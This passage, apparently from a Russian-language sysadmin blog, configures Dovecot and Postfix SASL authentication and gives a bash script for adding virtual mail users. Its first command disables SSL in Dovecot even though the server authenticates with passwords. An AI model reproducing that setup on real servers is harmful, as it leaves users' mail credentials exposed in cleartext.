&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#ssl =&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ssl = no&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-ssl.conf&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ну и вот обещанное пойди в &amp;nbsp;&lt;b&gt;/etc/dovecot/conf.d/10-master.conf&amp;nbsp;&lt;/b&gt;найди и приведи к следующему виду секцию в файле.&lt;br /&gt;
Этим жестом мы откроем postfix&#39;y&amp;nbsp;дверцу в мысли dovecot&#39;a через sasl&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# Postfix smtp-auth&lt;/span&gt;
  unix_listener &lt;span style=&quot;color: #40015a;&quot;&gt;/var/spool/postfix/private/auth&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;
    mode &lt;span style=&quot;color: #44aadd;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;0660&lt;/span&gt;
    user &lt;span style=&quot;color: #44aadd;&quot;&gt;=&lt;/span&gt; postfix
    group &lt;span style=&quot;color: #44aadd;&quot;&gt;=&lt;/span&gt; postfix
  &lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Продолжаем веселиться&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# Отрубаем системную &lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;аутентификацию&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&amp;nbsp;&lt;/span&gt;-i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;!include auth-system&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;conf&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ext&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#!include auth-system.conf.ext&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-auth.conf&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# И подключаем &lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;аутентификацию по файлику&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#!include auth-passwdfile&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;conf&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ext&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;!include auth-passwdfile.conf.ext&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-auth.conf&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Немножко подправим схему в фале&amp;nbsp;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/auth-passwdfile.conf.ext&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;ПРЕДВАРИТЕЛЬНО его ЗАБЭКАПИВ&lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;, да снова, на всякийслучай&lt;/span&gt;
cp &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/auth-passwdfile.conf.ext&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;,&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;bak&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# запишем файл &lt;/span&gt;
cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/auth-passwdfile.conf.ext&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;passdb {&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;args = scheme=CRYPT /etc/dovecot/passwd&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;driver = passwd-file&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;userdb {&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;args = /etc/dovecot/users&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;driver = passwd-file&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Создадим скрипт добавления пользователей&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/usr/local/sbin/adddovecotuser&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;maildirmake.dovecot(){&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;dir=&quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;1&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;owner=&quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;2&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;if [ -z &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir&quot; ]; then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Must supply a directory path&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;exit 1&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;if [ &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir&quot; = &quot;-h&quot; ]; then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;usage: &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;0 directory [user]&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;exit 0&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;umask 077&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;mkdir -p &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir/cur&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir/new&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir/tmp&quot; || exit 1&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;chmod 0700 &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir/cur&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir/new&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir/tmp&quot; || exit 1&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;if [ -n &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;owner&quot; ]; then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;chown -R &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;owner&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dir&quot; || exit 1&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;if [ ! &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;# = 1 ]&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Usage: &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;0 username@domain&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;exit 1&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;else&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;user=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;1&quot; | cut -f1 -d &quot;@&quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;domain=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;1&quot; | cut -s -f2 -d &quot;@&quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;if [ -x &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain ]&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo &quot;No domain given&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;Usage: &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;0 username@domain&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit 2&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Adding user &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain to /etc/dovecot/users&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain::5000:5000::/home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user/:/bin/false::&quot; &amp;gt;&amp;gt; /etc/dovecot/users&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;# Create the needed Maildir directories&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Creating user directory /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;# maildirmake.dovecot does only chown on user directory, we&#39;ll create domain directory instead&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;if [ ! -x /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain ]&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mkdir /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;chown 5000:5000 /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;chmod 700 /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;maildirmake.dovecot /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user 5000:5000&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;# Also make folders for Drafts, Sent, Junk and Trash&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;maildirmake.dovecot /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user/.Drafts 5000:5000&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;maildirmake.dovecot /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user/.Sent 5000:5000&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;maildirmake.dovecot /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user/.Junk 5000:5000&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;maildirmake.dovecot /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user/.Trash 5000:5000&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;# To add user to Postfix virtual map file and relode Postfix&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Adding user to /etc/postfix/vmaps&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;1  &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user/ &amp;gt;&amp;gt; /etc/postfix/vmaps&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;postmap /etc/postfix/vmaps&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;postfix reload&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;Create a password for the new email user&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;#SWAP THE FOLLOWING passwd LINES IF USING A UBUNTU VERSION PRIOR TO 12.04&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;#passwd=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dovecotpw&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;passwd=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;doveadm pw -u &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;echo &quot;Adding password for &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain to /etc/dovecot/passwd&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;if [ ! -x /etc/dovecot/passwd ]&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;touch /etc/dovecot/passwd&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;chmod 640 /etc/dovecot/passwd&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;echo  &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain:&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;passwd&quot; &amp;gt;&amp;gt; /etc/dovecot/passwd&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;exit 0&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;

chmod +x &lt;span style=&quot;color: #40015a;&quot;&gt;/usr/local/sbin/adddovecotuser&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
И попробуем им воспользоваться&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/usr/local/sbin/adddovecotuser&lt;/span&gt; user1@example1&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;com
&lt;/b&gt; Adding user user1@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com to &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/users&lt;/span&gt;
 Creating user directory &lt;span style=&quot;color: #40015a;&quot;&gt;/home/vmail/example1.com/user1&lt;/span&gt;
 Adding user to &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/vmaps&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;postfix/postfix-script&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; refreshing the Postfix mail system
 &lt;span style=&quot;color: #0f6900;&quot;&gt;\n&lt;/span&gt;Create a password &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; the new email user
&lt;b&gt; Enter new password&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; 
 Retype new password&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; 
